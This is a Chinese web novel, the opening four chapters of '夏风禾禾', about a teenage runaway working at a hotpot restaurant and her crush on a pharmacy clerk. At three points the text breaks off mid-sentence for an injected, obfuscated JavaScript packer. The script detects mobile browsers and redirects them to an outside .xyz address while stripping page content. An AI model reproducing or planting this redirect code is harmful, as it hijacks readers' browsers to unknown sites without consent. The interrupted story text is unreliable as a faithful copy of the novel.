《夏风禾禾》 1. 第 1 章 处暑过后,卢嘉市还是热得要命。 员工宿舍里的空调坏了好几天都没人来修,方禾感觉自己像是睡在一个大蒸笼里,一大早就被热醒了。 原本乌黑柔顺的发丝被汗打湿,黏糊糊地贴在额头上,很不舒服。方禾没睁眼,迷迷糊糊摸到枕边那把印着火锅店广告的扇子,拿起来扇了扇风,又把紧贴在前额的刘海拨到两边,露出光洁的额头。 还是觉得热,方禾索性就不睡了,她从床上坐起来,一边扇扇子一边打量着这个拥挤的房间。 说是员工宿舍,其实也就是老板在火锅店旁边的小区租的房子。这里一共只有两个房间,每个房间都放着两架上下铺的床,客厅的沙发也有人睡。 整个房子只有客厅里有空调,为了能吹到空调,睡觉的时候两个房间的门都不关。反正这屋里住的都是女孩,只放下帘子遮挡也就够了。 方禾望着房间里空出的两个床位出神。 快到九月了,暑假兼职的两个姐姐昨天已经跟老板结完账收拾东西回家了。 屋子里剩下的都是长期员工,她是其中年纪最小的一个,只有十六岁。 九月,开学…… 方禾还记得,昨天结账的时候老板赵文芳气得跳脚,对着那两个谎称干长期实则干兼职的姐姐骂骂咧咧:“刚来的时候怎么跟我说的?一口一个就想在我家一直干,结果呢?开学了,这下瞒不住了,知道说实话了!” 如果方禾没有在两个月前偷偷离家出走,她也快开学了。可是她跑了,所以她现在只能在火锅店里端盘子。 但方禾不后悔,至少现在是不后悔的。 方禾看看睡在对面的玉娇姐,又蹑手蹑脚地起来掀开帘子看,外面沙发上的娅苹姐也睡得正熟。 这些姐姐都没有被热醒,方禾不知道是她们时间长了习惯了,还是她自己太怕热了。 方禾踮着脚,轻手轻脚地把刘海洗了,然后接着刷牙,洗脸,穿鞋,出门。 走出小区,方禾先在路边的小摊扫码支付,买了一份现做的鸡蛋灌饼当早饭。 她离家出走时带的钱不多,半路上花掉了一部分,到了卢嘉之后又丢了一部分,惨到身无分文,现在手机里的钱都是老板赵文芳预支给她的。 一个多月前才被教会使用手机支付的方禾,到现在都还对只要指尖轻点就能完成付钱的这个过程感到不可思议。 她老家那边的商店这两年虽然也零星出现了扫码付款的贴纸,但因为是新鲜事物,大家都抱着怀疑的态度,真正尝试的人寥寥无几,再加上她爸每次都是在过年的时候就把一年的学费和生活费数好现金交给爷爷保管,所以方禾的手机上根本没有钱,也就没机会去试一试。 鸡蛋灌饼拿到手还没咬几口,方禾就看见街对面有两家挂着“家电维修”的店。 这就奇了怪了,方禾想不明白,城里生活这么便利,街上到处都有维修的店铺,怎么可能会没人去修空调呢?难道是老板压根不想有人来修? 方禾就想到了玉娇姐对老板的评价——生意做得越大就越抠门。但虽然扣门,心肠还算好。 所以,没准真的是老板太抠门不想让她们开空调,所以才一直拖着不找人来修?方禾心中隐隐有了一个主意。 一路边走边吃,鸡蛋灌饼吃完了,方禾也走到药店门口了。 她擦了擦嘴巴,扔掉垃圾,对着街边的透明玻璃整理了一下刘海,然后就是等待。 等最后一位顾客提着一大包药推开玻璃门离开,方禾瞅准店里没有其他人的时机,蹦哒着走了进去,出口的声音和她的脚步一样轻快:“夏岩!” 埋头工作的夏岩“嗯”了一声,他正在俯身整理药品,白大褂的袖口露出一截腕骨。 根本不需要抬头,也不需要她出声,好像只听脚步声,夏岩都能感觉出走进来的人是方禾,是那个喜欢扎高马尾,长着一张清秀饱满的鹅蛋脸,眼睛圆润如杏子,全身都透着灵动可爱的小姑娘。 果然,夏岩稍一抬眼就撞进了那双大而明亮的眸子里,他排列药盒的手指一顿。 不能多看,夏岩迅速移开视线,沉声道:“今天过来又是想买什么药?” “你怎么知道我是来买药的?” “不然呢?” 这姑娘,恨不得每天都要往药店跑一两次。有时候是买夏天常用的藿香正气水和藿香正气液,有时候是买虽然是药但吃起来味道也不错的山楂丸,有时候是买暂且还派不上用场的创可贴,有时候又是帮别人代买感冒冲剂……总之,每一次她都有不同的借口和理由。 夏岩想,除了他们这些每天要固定来打工的员工,方禾怕是来店里最频繁的人了。 偏偏她年纪小,身上有这种孩子气也算正常,他更说不得她什么。 方禾心想,谁闲着没事干天天买药啊,她才不是来买药的,她是来看帅哥的。 “那个,我先想想要买什么哈。”方禾歪着头故作苦恼,眼睛却偷偷描摹夏岩侧脸的轮廓。 看见她这副思考的样子,夏岩倒是来了兴趣,有点期待这回她又会编出什么说辞,没想到,方禾思考了几秒,眨眨眼,直接问他:“你觉得我该吃点什么药?” “吃这个吧。”夏岩无奈,转身从架子上取了一盒健胃消食片,放到柜台上,骨节分明的手指叩了叩药盒,“调理脾胃,改善食欲,把心思放在吃东西上,也比天天往药店跑强。” 夏岩话里有话,方禾就知道,自己明明不想买药却天天来药店的行为过于明显,这样的小心思迟早会被夏岩看穿。 她假装听不懂夏岩的暗示,问了健胃消食片的价格,顺势说:“我这两天是吃的有点多,确实有必要买一盒。” 方禾这话也不全是瞎说,那些上了桌但客人又没碰过的菜,如果客人不提出打包的话,老板就会让她们自己煮了吃。 在火锅店打工的这两个月,方禾的嘴就没被亏待过,每天都能吃得很饱,吃得很好。要不是端盘子这个活实在是有些费体力,方禾觉得自己都该长胖了。 买完健胃消食片,又在药店磨蹭了一小会儿,狠狠欣赏了几遍夏岩帅气的脸,方禾心满意足地哼着歌离去。 路过火锅店时,方禾抬头往里瞅了瞅。 虽然还没到营业时间,但赵文芳已经在里面坐着了。 方禾一进门就问:“老板,空调怎么还没人来修啊,晚上太热了,热得没法睡。” “我打过电话了,可能最近维修铺那边也忙吧,说不定过几天就来了。”赵文芳头也不抬,一头羊毛卷被旁边的电风扇吹得发丝飞舞,“你们年轻人啊,还是火气太旺,哪有那么热,你看我,我夜里都还要盖被子睡。” 吹一晚上空调死贵死贵的,有这钱她省下来多印些传单发了多好啊,修什么空调,修要花钱,修好了吹空调更要花钱。 方禾偏过头翻了个白眼,一定是赵文芳把空调温度调太低了,冷了能不盖被子吗? 她要是有空调吹,她也盖被子睡,可她没有啊,梦里都热得想打滚,想跳进溪水里去泡泡。 “修修嘛,真的很热。”方禾蹲在旁边,抓着赵文芳的胳膊,晃了晃。 赵文芳由着方禾晃,语气不冷不热:“好,我知道你热了,要是过两天还没来人修,我就再打电话催催。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468172|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “别过两天啊,现在就打嘛,空调再不好,我晚上都想睡大堂了,这儿虽然味道不怎么好闻,不过有空调,胜在凉快。”方禾瞎扯一通,想到什么就说什么,“还有哦,我怕自己被热到中暑没法上班,还自己花钱买藿香正气水喝,这个钱咱们店里能报销吗?” 赵文芳:“……” 反正方禾闲着没事干,见老板无动于衷,她就继续说。 赵文芳听得头疼,她没想到方禾这丫头这么有耐心。但就算方禾还有耐心继续说,她也快没耐心听了。 受不了方禾的软磨硬泡,赵文芳看看前台那盆叶子绿油油的发财树,妥协了:“行行行!我这会儿就给师傅打电话,满意了吧?” 半个多月前,店里的发财树快死了,赵文芳当时面上没说什么,心里却不太高兴,她总觉得那要死不活的发财树是不是预示着她的店会倒闭。没想到,方禾那丫头瞎捣鼓了一阵,居然把树给救活了。 要不是看在那棵发财树的份上,赵文芳才不会轻易就松口。 而且,方禾再缠下去,等会客人来了,见她不舍得给员工修空调,多影响店里的形象啊。 方禾才不管赵文芳是因为什么才答应的,她高兴得原地蹦起来:“好耶,我这就去跟玉娇姐娅萍姐她们说,今天晚上就能吹空调了!” 等大家都知道老板今天要修空调,赵文芳总不会还拖着不肯修。 方禾跑回去跟屋子里的姐姐们说了空调的事情,忍着热睡了一会儿午觉,就到上班时间了。 方禾扎起长发,换上店里统一发的黄色工作服,再系上耐脏的围裙。 也许是天热的缘故,店里的客人少得可怜,就那么一两桌,坐在大堂里,跟包场了似的。 赵文芳愁眉苦脸,方禾却很高兴,客人少,她的活就少,能清闲点。 六点多,老板的女儿思敏跟同学玩完回来了,手里拿着一根烤得滋滋冒油的淀粉肠,蹦蹦跳跳地进了店,看起来心情不错。 方禾的心情也很不错,因为思敏回来了,这意味着再过一个多小时,夏岩就会过来了。 赵文芳先让思敏吃饭,然后领着她去包间里写作业。 思敏平时很乖,是很能让大人省心的孩子。唯独在学习这件事情上,思敏乖不了一点,甚至想跟大人对着干。 天色越来越晚,店里的客人逐渐多了起来,忙碌之余,方禾还留意着时间。 她从七点半就开始频频向店门口张望,手里擦桌子的动作越来越慢。 陈玉娇早就发现了她的小动作,打趣道:“八点才会来,没有那么早。” 方禾不好意思地笑了一下,没有减少张望的频率。 夏岩很守时,基本上都是早到几分钟,从来不会迟到。 今天也是一样,大堂时钟的分针刚刚转到五十,夏岩的身影就出现了。 在氤氲的火锅雾气里,少年携着夜风走进来,额发垂落在半框眼镜边,显得斯文有礼。 终于盼来了想见的人,方禾仰起脸笑得眉眼弯弯,惊喜地喊道:“夏岩!” 夏岩迈到一半的步子忽然停住,躲开那张正望着自己的明媚脸庞。 他不知道方禾每次见到他的时候都在兴奋个什么劲儿,明明他每天晚上都会过来,而且因为方禾往药店跑得勤,他们上午也基本上会见面。 淡淡地点个头,就算是打过招呼了,夏岩继续往里走。 擦肩而过时,方禾能嗅到夏岩身上有清苦的药味。 现在是上班时间,方禾不能明目张胆地偷懒,她只能站在原地目送夏岩穿过嘈杂的大堂,去到侧边的包间。 2. 第 2 章 传菜口的铃铛叮叮当当地响,有人举着漏勺吆喝加汤,有人吃好了站起来说结账。 方禾一直忙着上菜和撤盘子,都没顾得上留意夏岩是什么时候走的,等她反应过来的时候,夜已经深了。 将近凌晨十二点,赵记鲜味火锅店的员工终于结束了一天的工作,回到宿舍准备休息。 一进门,方禾就惊喜地发现,空调居然真的修好了。 本来累得蔫头耷脑的方禾,在空调下坐着吹了一会儿凉风就又来了精神,哼着歌去洗澡了。 从前生活在山里,方禾没吹过空调,也没觉得有吹空调的必要。 山里凉快,夏天只要把窗户开着,不管再热,夜里吹来的风总带着沁人心脾的凉爽。至于冬天,可以生炉子烤火取暖,还可以用电热毯,就算没有空调也没觉得有多冷。 现在到了城里,海拔不同,气候不同,夜风里裹挟着滚滚的热浪,而且这宿舍又小又挤,即便方禾不是娇气的人,她也觉得离了空调就没法活了。 这一晚,凉风一直吹着。 因为凉快,方禾睡得格外舒适,一觉醒来,才惊觉已经十一点半了。 这是个尴尬的时间点,不知道现在赶去药店还能不能碰到夏岩。 方禾还没摸清楚夏岩的行动轨迹,只知道他每天上午都在药店,晚上八点半更是雷打不动地来给老板上小学的女儿思敏辅导作业。 方禾起床收拾,出去逛了一圈,在街边的小店吃了一大碗西红柿鸡蛋面。 等她走到药店的时候,值班的人果然已经不是夏岩了。 方禾耷拉着脑袋离开药店,继续在街上闲逛,盼着能跟夏岩偶遇。 然而,天不遂人愿,方禾一直在街上转悠到下午一点钟,也没有看到夏岩的影子。 眼看就快到上班时间了,方禾只好兴致缺缺地回了火锅店。 一进门,坐在前台的老板赵文芳就招呼她过去,递给她一沓宣传单。 赵文芳很喜欢自己新招来的这个女孩子。虽然方禾昨天缠着她修空调让她觉得有些烦,但方禾聪明伶俐,能说会道,乖巧漂亮,干活也勤快,还是很讨人喜欢的。 “我思来想去,这个活还是最适合你,你这张嘴伶牙俐齿,说起话来一套一套的。”赵文芳指着传单,笑着解释道,“过两天不就是七夕了嘛,你把这些传单都发了,见到人了就说咱们店七夕当天搞活动,情侣夫妻都打七折,还送两瓶饮料。” 方禾就问了:“去哪儿发呀?” “就附近这的超市、广场、公交站,反正你看哪里人多就往上凑呗。” 方禾拍拍胸脯:“保证完成任务。” 就这么一小叠,肯定轻轻松松用不了多长时间就能发完,到时候她可以偷懒在外面溜达几圈再回来,乐得清闲。 方禾稍微一想,就控制不住地嘴角上扬,然而,下一秒,她的笑容就凝固在脸上了,因为她看见赵文芳从柜台下面拎起了一个超大的塑料袋。 那袋子里全是传单,不用数也知道有好几百张。 方禾苦笑着接过袋子,提在手里沉甸甸的,这得发到猴年马月啊…… 临出门时,赵文芳又嘱咐她:“可别跑远了,你刚来了不到一个月,有些路还不熟,别跑丢了给我惹麻烦。” 方禾:“哦。” 她都走出门了,赵文芳还在后面吆喝:“发到天快黑了就回来!晚上店里忙,人手不够!” 方禾:“知道了!” 方禾兴冲冲地出发去发传单了。她知道,自己的老板虽然有些抠门,但却是个心地善良的人。就像刚刚,赵文芳嘴上说的是怕她会惹麻烦、怕店里面会人手不够,实际上却是怕她天黑了不回去会不安全。 天气太热,阳光刺眼,方禾就挑晒不到太阳的那侧街道走。 “七夕节吃火锅打七折哦,有兴趣了解一下吗?” “您好,看看我们店的活动吧,七夕节有优惠哦!” 方禾在人群中跑来跑去,看到人就走上去发。 她递出去的传单有一大半都没人接,被人接的那一小半里,大多数都会被随手扔到路边的垃圾桶里。 但方禾没有因此气馁,她知道发传单就是这样的,有时候她自己走在路上,别人硬塞过来的传单她也不太想接。 所以方禾没想着能发出去多少,更没指望能有多少人看了传单就真的去店里吃饭。 她只要兢兢业业地发就好了,对得起她拿的工资就行,至于有多少人接传单,有多少人去吃火锅,以及那些发出去的传单究竟是被人扔了还是被好好收起来了,那就不是她应该操心的事情了。 方禾心态好,被人拒绝了就去找下一个人发,走累了就坐在街边阴凉处的椅子上歇一会儿。 终于,在方禾又一次坐下休息的时候,她在熙熙攘攘的人群中看到了一个熟悉的身影。 “夏岩!” 那个个子挺拔高挑,发丝乌黑浓密,眼睛内双细长,戴着半框眼镜的男生,不是夏岩是谁。 方禾那双因为在大街小巷奔波而疲惫的腿顿时有了劲,她像只欢快的云雀,扑棱着翅膀飞过去:“真的是你呀!” 夏岩还没来得及做出反应,方禾又问了:“你下午一般在哪儿啊?我都找不到你。” 这个问题不好回答,因为夏岩也不确定自己会在哪里。 上午是固定在药店上班,至于中午和下午,他有时候在奶茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468173|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店和面包店做临时工,有时候也做促销,或者套上笨重的衣服扮演超市庆典的玩偶……总之,都是干一些钱不多但是能现结工资的活。 等到四点钟,他会去托管机构上班,做助教。 晚上七点半下班之后,他得赶去赵姨的火锅店做家教,给思敏辅导功课。 夏岩正色道:“你好好上班,不上班就好好休息,别总来找我。” 这姑娘找他找得太频繁,频繁到让他害怕。 “可我就是喜欢找你啊。”方禾眨巴着眼,望着夏岩额前的碎发,脱口而出。 她的脸颊绯红,额头上蒙上了一层细汗,双眼清澈有神。 夏岩:“……” 阳光好像更灼人了,夏岩皱起眉头,眼睛微眯。 方禾的话让他心头一紧,幸好方禾在“喜欢”后面又多加了一个“找”字,不然他可真的是罪孽深重了。 夏岩希望方禾最好只是喜欢找他而已。 就像他妹妹小时候碰到合眼缘的玩伴,想三天两头约着一起跷跷板和滑滑梯。 就像他自己在学校里遇到乖巧漂亮的猫,想走近些拍几张照片,再摸摸毛茸茸的脑袋。 她年纪小,身上有些孩子气很正常,对他应该也是再普通不过的朋友间的喜欢……夏岩这样安慰着自己,他没接方禾的话,只是偏过头长舒了一口气。 方禾早就习惯了夏岩的冷漠,没跟他计较。 反正他不回答,她也能找很多话说。 眼珠子一转,方禾扯了张传单递过去:“夏岩,你爱吃火锅吗?我们老板说了,七夕节那天给进店消费的情侣打七折呢,还免费送饮料。” 不该接的。 夏岩想,他本就不该再和方禾有过多的接触,他也没闲钱、没兴致去赵姨店里吃火锅,实在是没有接的理由。 可当那双杏眼亮晶晶地望过来时,拒绝的话他又说不出口。 何况,他接一张她就少一点工作量,想到这里,夏岩还是把手伸了过去。 只是,他伸出去的手刚要碰到传单,方禾就突然撤回了手。 夏岩疑惑,一抬眼,正对上方禾水润润的眸子。 “不对呀,我给你干嘛,你又用不上。”方禾狡黠一笑,露出尖尖的虎牙,“我忘了你还没有对象,那你享受不了这次的优惠了哈哈哈。” 夏岩:“……” 看到夏岩吃瘪,方禾有点得意,她吐着舌头做了个鬼脸,拎着装传单的袋子笑嘻嘻地往前面走了,只留下怔愣在原地的夏岩。 不过,这种调侃他是个单身狗的话反而让夏岩安心了许多,因为这可能恰恰说明了方禾对他并没有那个意思,夏岩心里的负罪感少了一点。 3. 第 3 章 不知道是方禾传单发得好,还是七夕节自带的节日消费效应,七夕那天店里的生意确实比平时好很多,赵文芳的嘴角一晚上都保持着上扬的弧度。 七夕过后,就是月底。 方禾收到了她打工的第一笔工资,扣除赵文芳之前预支给她的五百块钱,她领到了两千块。 平心而论,她还挺喜欢火锅店里的这份工作,每天从下午两点上到晚上十二点多,月休三天,上班时更多的也是费体力,用不着怎么动脑筋。 既然手头宽裕了,方禾就准备犒劳一下自己。 正好第二天轮到方禾休息,她拉上同样休息的玉娇姐去逛地下商城。 夏天快过完了,趁着换季,方禾买到了几件价格非常实惠的衬衫和裙子,至于刚上市的秋装外套,现在正是贵的时候,方禾准备过段时间再买,反正她还有两件从家里带出来的旧外套可以穿,不着急买。 买完衣服,方禾一头扎进了化妆品店。 以前在山里,方禾最多看见班里有钱的同学用镇上日化品店卖的BB霜和素颜霜,到了卢嘉,她在同屋的姐姐们那里见到了好多以前没听说过的化妆品。 什么遮瑕,什么眼影,这个刷子,那个刷子……方禾觉得很新奇,她也想买来研究一下,把自己打扮得漂漂亮亮的。 陈玉娇比方禾大了差不多七岁,方禾的性格又讨人喜欢,她是真的把方禾当小妹妹看,给方禾推荐了一些平价又好用的水乳、粉底和散粉之类化妆必备的东西,口红是方禾自己挑的喜欢的色号。 回到宿舍,逛了一上午的陈玉娇累得一进屋就扑到床上睡午觉。 方禾也有点累,但她兴奋得睡不着,把刚买的化妆品和工具都摆到客厅的茶几上,跟着手机里美妆博主的步骤开始捯饬。 一个小时过去了,方禾照着镜子,对自己的初次尝试表示满意。 这么白的皮肤,这么亮闪闪的眼影,而且还花了钱,就她自己一个人欣赏未免有些亏了。 玉娇姐睡着了,方禾也不好去叫醒她。 方禾拿起手机自拍了几张,发给她的好朋友韩佳冰。 韩佳冰很捧场,一个劲儿地夸方禾好看。这也是不无脑夸,方禾本来就长得不错,虽然第一次化的妆容并不是多么自然,但毕竟底子好,乍一看还是美的! 夸完,韩佳冰又开始抱怨,说她已经在去学校的路上了,晚上要交手机,所以接下来的几天里她都不能跟方禾聊天了。 韩佳冰跟方禾自小玩到大的交情,从小学到初高中,她们俩都在同一个班。 现在,韩佳冰已经读高三了。 如果方禾没有在暑假时离家出走,她现在也会是一名高三的学生,仍旧和韩佳冰在一个班里,每天按部就班,早起背书、上课、跑操、做作业、去食堂抢饭、去小卖部买零食、去班主任的办公室悄悄把交上去的手机偷回来玩……日子无趣,亦有趣。 可她选择了出走,一切就都不一样了。 但方禾不后悔,她不喜欢那个家,不喜欢那个地方,除了韩佳冰跟袁老师,广青那座城市里再也没有其他值得让她留恋的人,她只想要逃离,逃得越远越好。 方禾不想说有关学校的事情,她发了一张照片过去,想引开话题。 照片里,是她昨天偷偷拍到的夏岩,配文:【别伤心了,趁你还有手机,给你看看帅哥。】 虽然不知道名字,但韩佳冰最近已经断断续续收到过好几次夏岩的照片了,所以她一眼就认出来了:【又是你认识的那个家教小哥哥,你怎么总是给我发他的照片?】 方禾不假思索:【当然是因为他长得帅呀。】 方禾继续说:【他上午在药店打工,你都不知道,为了能多看看他,我买大山楂颗粒和健胃消食片的钱都花了好几十了。】 韩佳冰发了一个偷笑的表情包,顺便调侃道:【好啊,穗穗你早恋!】 穗穗是方禾的小名,韩佳冰习惯这样喊她。 方禾否认道:【这不算早恋吧,他又不喜欢我。】 方禾觉得,要两个人开始耍朋友,开始拉手亲吻,那才叫早恋。 她现在大概只处在犯花痴的阶段。 方禾很清楚,自己是个颜控,她第一喜欢夏岩的长相,第二喜欢夏岩的温柔。 虽然方禾自认为还算是一个脾气好的人,可是每次思敏问她题目,她苦口婆心地讲解思敏却怎么都听不懂时,她都会被气得火冒三丈,不能打人,就只能咬咬牙使劲锤桌子。 可夏岩不一样,他从来都是一副好脾气的样子。 不管思敏的表现怎么样,他永远都温声细语。 不管她再怎么纠缠他、烦他,他都不会发脾气。 夏岩谦和有礼,是大人口中的好孩子,无论是老板赵文芳还是店里的其他熟客,他们提到夏岩时出口的全都是夸赞之辞。 他们夸夏岩成绩好,有孝心,懂事又能干,早早就扛下了一个家的担子。 不管是方禾亲眼所见的夏岩,还是别人口中的夏岩,都给方禾一种温润如玉的感觉。 她喜欢这样的夏岩。 就像喜欢佳冰家里的橘猫,一放假就想去抱过来逗弄;就像喜欢学校门口卖的醪糟小汤圆,隔三岔五就馋得想去喝一碗;就像喜欢村头的桂花树,一到花季就想跑去闻闻那淡雅的花香。 这种喜欢是纯粹的,欣赏居多,无关占有。 韩佳冰有点好奇:【你怎么知道他不喜欢你?难道你已经表白过了?】 方禾如实回答:【没表白,我感觉出来的。】 夏岩看她的眼神和他看思敏没有区别,他大概只把她当成一个胡搅蛮缠喜欢玩闹的小姑娘。 韩佳冰又问了:【那你要表白试试吗?】 方禾不知道。 情窦初开的少女,心里揣着的那份喜欢再单纯不过,无非就是想多看那个人几眼,想多跟那个人说几句话。 方禾根本没想其他更远的东西,她就只想眼前的,想明天上午早点去药店买一盒藿香正气水,借此机会再好好看一看夏岩。 只要看到他,她就高兴,就这么简单。 今天的天气尤其晴朗,太阳火辣辣地晒着,一眼望去的天空里没有一丝云的影子。方禾有心到街上去找找夏岩,让他也看看自己打扮得这么漂亮的样子,可门外的滚滚热浪让她望而却步。 睡了个长长的午觉,方禾醒来后,外面的天色已经暗下来了。 把这几天攒的衣服洗了洗,看时间离八点不远了,方禾补了妆,准备去火锅店旁边的烧烤摊买些吃的,顺便看看能不能碰到夏岩。 刚选好想吃的菜,招呼老板多加点辣,夏岩的身影就从街角出现了。 “夏岩!”方禾举高手挥了挥。 夏岩走近了,应了一声,脚步没停,只淡淡地扫了她一眼就继续往前走了。 见到人了,这趟就算没有白来,方禾满足了,又挑了一些菜,告诉老板要微辣。 方禾自己坐在烧烤摊前的小桌子上吃饱了,带着给玉娇姐打包的微辣的菜回了小区。 把烧烤交给玉娇姐,方禾就赶紧去卸妆洗头洗澡了。虽然化了妆看着确实漂亮,但方禾现在还不习惯,总觉得脸上好像多了一层什么,忍不住想伸手摸。 其他员工还没下班,陈玉娇一个人坐在客厅里吃烧烤。 就着最近正在追的剧,陈玉娇慢悠悠地吃完了十几根烤串,正收拾垃圾呢,屋里有手机在响。 自己的手机正在放电视剧,其他人还没回来,那现在响着的手机肯定是方禾的没错,陈玉娇便头也不抬地喊:“方禾,有人给你打电话!” 刚踏出洗手间的方禾愣了一秒,也隐隐听见了自己手机铃声。 她几乎都快要忘了自己设置的铃声是什么了,这两个月里,还没有人给她打过电话。 出走之后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468174|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷爷和爸爸连一通电话都没有给她打过,好像并不是多关心她去了哪里,好不好,回不回去,以及是不是还活着。 在火车上,她倒是收到了一条她爸发来的信息。 方达海说:【你放心地走吧,我用上帝的手成全你的美梦。我不会报案,而且也已经学校说明,你在家,只是不想上学了。一路平安!】 十几年的父女情,最后只换来他的“成全”,以及不知道是祝愿还是反话的“一路平安”。 当时,方禾看完那条短信,心更凉了,她没有一丝一毫想要回家的念头,只想越走越远。 方禾有时候也会想,如果方达海发来的短信不是这样,而是说些心疼她的、哄她回去的话,那她是不是就会乖乖买票回家? 多半是。 她一向都是吃软不吃硬,离家出走的主要原因,除了真的不喜欢那个家,更多的其实是想看看家里人究竟有没有在乎她一点点…… 显然,她得到的答案,并不是她想要的。 铃声还在继续响着,方禾的步子很快,思绪也快,她也很好奇这时候会是谁给打电话。 家人嘛,她没有。 朋友嘛,有一个,可是佳冰一直都跟她保持着微信上的联系,除非有急事,不然完全没有给她打电话的必要,而且这个时间佳冰的手机应该早就被班主任收走了。 至于其他人,方禾就想不到了。 所以走到床前的时候,方禾心里还在想,大概率是什么没有被标记过的诈骗或者推销电话吧。 然而,看清手机屏幕的那一刻,方禾的心却狠狠地揪了一下。 居然是她的班主任袁老师打来的! 别的电话方禾是不想接,可这通袁老师打的电话,方禾却是不敢接。 她从高一进校时就是袁老师在带,她知道袁老师对她抱着怎样的期待。 从家里偷跑出来的时候方禾没觉得自己愧对于那个家里的任何一个人,可她觉得自己非常对不起袁老师,对不起袁老师这两年的关心和栽培。 深呼一口气,方禾终于赶在响铃结束前接通了电话。 方禾几乎没怎么说话,她喉头发紧,说不出话来,她忍得很辛苦,生怕自己一不小心就发出哽咽的哭声。 电话里,袁老师苦口婆心地劝了方禾很久,说她都已经读完高二了,这学期读高三,明年六月就可以高考了,马上就能熬出头了,这个时候放弃太可惜了。 方禾看起来长得乖巧,性子却倔,只要是她认准的事情,别人说什么都改变不了她的想法。 就像她明明看到醪糟小汤圆的店前排着长队,但她想吃,她就会排在队尾等。 就像她明知道不该去办公室偷手机玩,但她想玩,她就会冒着风险去。 所以,任凭袁老师怎么劝说,她都不肯回去。 费尽口舌的袁老师在电话那头无奈地叹气。方禾的成绩好,她是真的很想帮一帮这个孩子,可方禾只顾着跟家庭的叛逆了,根本没有意识到自己的决定会让自己错过什么。更何况,方禾的家长都已经说了不用找人了,她一个老师,一个外人,又能怎么办呢? “对不起……我知道我让您失望了,但我是真的不想回去。”方禾抽噎着说。 她不想回到那个冷冰冰的家里,比起家,她现在待的这个火锅店更让她舒心。 她不用操心每周放假回家后怎么跟嗜酒的爷爷相处,不用烦恼怎么面对那一排虽被称为“家”但却没有一个人关心她的房子,不用忍受谩骂,不用忍受孤独。 劝说无果。最后,袁老师只说,会帮方禾办休学,先保留学籍,如果一年内方禾后悔了,就还有可以挽回的余地。 笃定自己不会再回去的方禾还是跟袁老师说了谢谢。 她是真心感谢袁老师对她的好。 真正关心爱护她的人不多,除了早已不在人世的奶奶,大概也就只有佳冰和袁老师了。 4. 第 4 章 来了卢嘉之后,方禾还没有失过眠。 因为白天在店里消耗了太多体力,她夜里基本上是洗漱完沾床就睡,即使热得难受,忍一会儿也就睡着了。 今晚空调吹着,屋里凉到了赵文芳说的需要盖被子的程度,方禾却辗转反侧睡不着了。 屋子里很安静,只有大家的呼吸声,以及空调运转的轻微风声。 方禾又一次裹着被子翻身的时候,窗外渐渐有了雨声。 雨滴打在空调外机上,“哒哒哒”地响着。 窗户没关,夜色中,方禾看见窗帘被风吹得翻腾起来,怕雨斜刮进屋里,她连忙起来关窗。 再次躺下时,雨势已经大起来了,风卷着雨滴,“噼里啪啦”地敲击着窗户玻璃。 热了那么久,终于落了一场大雨。 方禾听着雨声,脑子有些乱,一会儿在想她初来卢嘉时的那个雨夜,一会儿在想袁老师,一会儿又在想奶奶,想那个不能称之为家的家,也想那个既让人痛苦、也给人以快乐和希望的学校。 想着想着,方禾哭了。她偷偷捂在被子里,不想被别人听到,更不想被别人看到。 她想,她就只脆弱这一个晚上,只哭这一个晚上,明天她要照常精神抖擞地起来去上班。 她不知道雨是什么时候听的,也不知道自己是什么时候才睡着的。 睡得晚,翌日方禾醒得也晚。 反正已经赶不上去找夏岩了,方禾索性就直接没去逛药店,吃过午饭就早早地准备去店里。 昨晚的那场大雨终于带走了持续一个月的高温,习惯性穿着短袖出门的方禾出了门才感觉凉飕飕的,她抱着胳膊,回房间穿了一件外套。 还没到营业时间,方禾闲得无聊,拿了一块抹布到处擦灰。 赵文芳坐在前台对账,时不时掀起眼皮瞅瞅方禾,见方禾忙得跟只小蜜蜂似的,她忍不住笑了。 方禾手脚麻利,桌子擦完擦椅子,椅子擦完又把店里摆着的几个花盆给擦得锃亮,就连叶子上的灰都被她擦得干干净净。 忙活完,方禾洗干净抹布,站在店里四处望了望,然后直奔前台,哼哧哼哧又开始擦。 觉得自己好像挡着方禾干活了的赵文芳:“……” 她虽然在发工资这项开支上比较精打细算,但天地良心,她可从来不压榨员工!最多让员工给她省点水电费…… “方禾呀,要不你歇歇呢?” “我不累。”方禾手里没停,看了一眼赵文芳坐的地方,没多想就开了口,“你的账要是算完了的话,就先让让吧,我把柜台这块也擦干净。” “好好好,我去后面看看酒水的库存,你擦吧,既然擦了就擦仔细些,这边边角角的最容易积灰了。” 说着,赵文芳就拉开椅子走了。 